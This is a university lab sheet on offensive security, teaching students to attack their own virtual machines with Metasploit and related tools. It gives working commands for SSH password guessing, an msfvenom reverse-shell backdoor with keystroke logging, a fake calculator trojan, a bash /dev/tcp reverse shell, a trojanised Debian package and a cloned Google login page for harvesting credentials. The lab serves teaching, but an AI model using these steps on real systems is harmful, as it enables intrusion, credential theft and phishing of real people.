Lab 7

Attacks on Server and Client using Metasploit, Social Engineering Attacks

1. Using auxiliary scanner based on ssh_login in Metasploit

   The "auxiliary" in Metasploit is mainly used as a scanner for information gathering. But it can do a little more, such as gaining access to a remote machine. Go back to the nmap scanning result (or run nmap again) on Metasploitable. Note that the port for ssh service is open.

   Run: `msfconsole` and then `search ssh_login`. Then, look for `auxiliary/scanner/ssh/ssh_login`. What command do you need to use that ? If you have figured out, run: `show options`. You will see a lot more options. As usual, RHOSTS is required to set: `set RHOSTS <Meta IP>`. (You can set multiple IPs if you have multiple targets.) Run `run`. Have you succeeded in opening a session?

   We need to do something more to set options. Even if it is not "required" option, sometimes we need to provide more information to make an attack successful. Try: `set USERNAME root` and `set USER_AS_PASS true`. If not successful, try: `set USERNAME msfadmin`. Note that the latter command sets a possible user name as `msfadmin` and since it is also used as a password, we should be able to gain the access. You should be able to open a session. To view the sessions you have opened, type `sessions`. To get information about the current sessions, issue `sessions -i`. To select a session, issue `sessions <Id>`. Then, try to run some Unix commands.

   Alternatively, you can set `USERPASS_FILE` as your own list, something like:

   ```
   root root
   admin root
   msfadmin  msfadmin
   root toor
   admin password
   ```

   or USER_FILE, which only contains the user names.

2. Creating a Meterpreter backdoor to exploit Windows 10 client

   Make sure that your Windows 10 VM belongs to NAT Network.

   (On Kali) Check the IP address of your Kali VM for adapter of the NAT Network. (It should start with 10.0.2..) Run

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP>
LPORT=5555 -f exe > shell.exe
```

(It may take some time.)

Make a directory called utility under `/var/www/html`

Once you have generated *shell.exe*, put it in `/var/www/html/utility/`.
Then type `service apache2 start` to run a web server on your Kali VM.

(In Windows 10) Login in to your Windows 10 VM and open a web browser and go to `http://<kali IP>/utility/`, download shell.exe.

(In Kali) Launch `msfconsole` and run:

```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <Kali IP>
msf6 exploit(multi/handler) > set LPORT 5555
```

to set up `payload`, `LHOST` and `LPORT`.

Run: `exploit`.

(In Windows 10) Go back to Windows 10 and double-click on `shell.exe`.

(In Kali VM) When the session is established, you will get meterpreter prompt. Once you've got `meterpreter` prompt, try to use meterpreter commands you learnt during the lecture: `sysinfo`, `ipconfig`, `ps` and etc.

Let us do some keystroke sniffing. In meterpreter mode (shell), run
`meterpreter > keyscan_start`

(In Windows 7) Then go back to Windows7 VM and go to some website and login email or any sites that asks username and password.

Come back to Kali VM. In meterpreter mode, run
`meterpreter > keyscan_dump`

What can you see? To stop sniffing, run
`meterpreter > keyscan_stop`.

Appendix

Useful Metasploit commands for Meterpreter control

- `background`: To background current session
- `sessions -l`: To list all sessions (when using background)
- `sessions –i <sessionID>`: To interact with the session specified by session ID (Also, to return to the current Meterpreter mode)

Useful Meterpreter commands

- `sysinfo`: To show system information of the target machine
- `ipconfig`: To show network information of the target machine
- `ps`: To show processes running on the target machine
- `getuid`: To show a current user on the target machine
- `pwd`: To get current working directory
- `ls`: To list directories
- `cd`: To change directory
- `cat`: To view a file
- `download`: To download the file from the machine
- `upload`: To upload the file to the machine
- `execute -f file`: To execute file
- `shell`: To change the current shell to the one running on the OS of the target machine (To return to the attacker shell, type `exit`)
- `keyscan_start`: To start keystroke sniffer
- `keyscan_dump`: To display keystrokes
- `keyscan_stop`: To stop keystroke sniffer
- `screenshot`: To take screenshots of the target machine

3. Making backdoor Trojan more sophisticated using AutoIt

AutoIt is a Windows-based scripting tool, which has been around some time. This tool can be installed and used on Linux machines (through `wine`) but it is a lot more stable on Windows. Hence, think of your Windows 10 VM as an attacker's machine for a moment and install AutoIt on it. I put the installation executable here:
https://documents.uow.edu.au/~baek/csci369/

The filename is "autoit-v3-setup". Download and run it to install Autoit. – When the installation program asks about "Default for *.au3", you may want to select "Edit the script". (If you have missed it, it is okay! It is just for convenience.)

AutoIt scripting

Make a temporary folder on the Desktop of your Windows 10 VM. Then, click Start → AutoIt v3 → SciTE Script Editor

You should get an editor for AutoIt script. On the blank page, you type

```
Sleep(2000)
Run("calc.exe")
```

Save the above file in your temporary folder, giving it any name. (The default extension for the file will be .au3) Right click on your file and select Run Script.

In the above code, `Run()` is a built-in AutoIt function to execute an Windows program. Like BASH script, a variable always starts with $. `Sleep(2000)` means "Do not perform anything for 2 seconds" and `ProcessClose($ps)` means "Close the current process (calc)".

Well, you have a glimpse about how AutoIt scripting works. There would be a lot of possibilities of using it in a good or bad (hacking) way. Refer to https://www.autoitscript.com/autoit3/docs/ for more information about AutoIt scripting.

Create a fake Calculator app for running the backdoor

What we want to do is to create a fake calculator app to fool a victim to click it and USE it while he is connecting to the attacker's machine (Kali VM)!

Basically, a script for doing this should have the following structure:

```
Run("calc.exe")

Local $url ="http://<kali_IP>/utility/shell.exe"
$sFile = Download($url)
shellExecute($sFile)
```

In the above code, `Download()` is a custom function (that I have created) to download a remote file and save it to a random temporary folder (for some kind of obfuscation). `shellExecute()` is an AutoIt built-in function to execute the Windows shell taking an external file as input.

Note that `shell.exe` is the backdoor Trojan we created last week using `msfvenom`. Assume that it is located in `/var/www/html/utility` on Kali. (Don't forget to run the apache server program on Kali.)

Go to https://documents.uow.edu.au/~baek/csci369/ to download `calculator.au3` (and save it to your temp folder). Take a look at the code. (Note that ";" in AutoIt indicates comments.) Then replace `<kali_IP>` with the IP of your Kali VM.

It is time to compile `calculator.au3` to generate calculator.exe file and change its icon. As we will confuse the victim with a fake calculator app, it would be good to find an icon very similar to the original calculator icon. (You can get numerous icon files from http://www.iconarchive.com/ For a specific need, it would be good to create your own icon file (whose file extension is .ico) from a usual jpeg or bmp file.)

Now, click Start → AutoIt v3 → Compile Script to .exe (x86). You will get a window asking Source, Destination and Icon. Select calculator.au for Source and calculator icon file for Icon. If you hit Convert button, you will have a fake `calc.exe`

Go to Kali and set up Metasploit to make use of the Meterpreter shell. (Refer to the Lab 7 note.

There are other files with .exe extension on Windows 10. Think about how you can use those to create another Trojan.

4. A simple Linux backdoor

   A reverse shell can be created using a very simple Linux command. Assume that your UbuntuVM and KaliVM are in the same NAT Network.

   On Kali, run the following command: `nc -l -p 8080`

   On Ubuntu, run the following command:
   `bash -i >& /dev/tcp/<KaliIP>/8080 0>&1`

   Check what is happening on Kali. Think about how the attacker can lure the victim to run the above command.

5. A (complicated) Linux backdoor Trojan

   In the series of our labs, we learned how to create a reverse shell for a Windows machine. (We used msfvenom to generate a backdoor and exploit it using Metasploit, creating a reverse shell.) It is harder to create a reverse shell for Linux but it is not impossible. Your task is to refer to the following web article and create a reverse shell for Ubuntu (Linux) VM.

https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/

There are things to consider:
1) The current version of freesweep is 1.0.1-2. (This does not matter, though.)
2) You need to change LHOST.
3) You need to copy the (fraudulent) freesweep.deb to `/var/www/html/` (not `/var/www/` as instructed in the above site.)

4) Use msfconsole interactively (rather than the one long-line command in the above webpage).

6. Creating a fake website using SET (Social Engineering Toolkit)

Remember your Kali VM's IP. Then, you use a social engineering toolkit (SET). On terminal you simply type `setoolkit` and select the following in order:

1) Social Engineering Attacks
2) Website Attack Vectors
3) Credential Harvester Attack Method
1) Web Templates

Enter your Kali IP and then, select "2. Google".

(ubuntu VM) Open a web browser and enter your Kali IP. After you see the cloned login page of Google, enter a user ID and password. Then watch the terminal that Credential Harvester is being run. What information can you find? Can you find a way to "social engineer" people to believe that the fake URL for the cloned website is genuine one?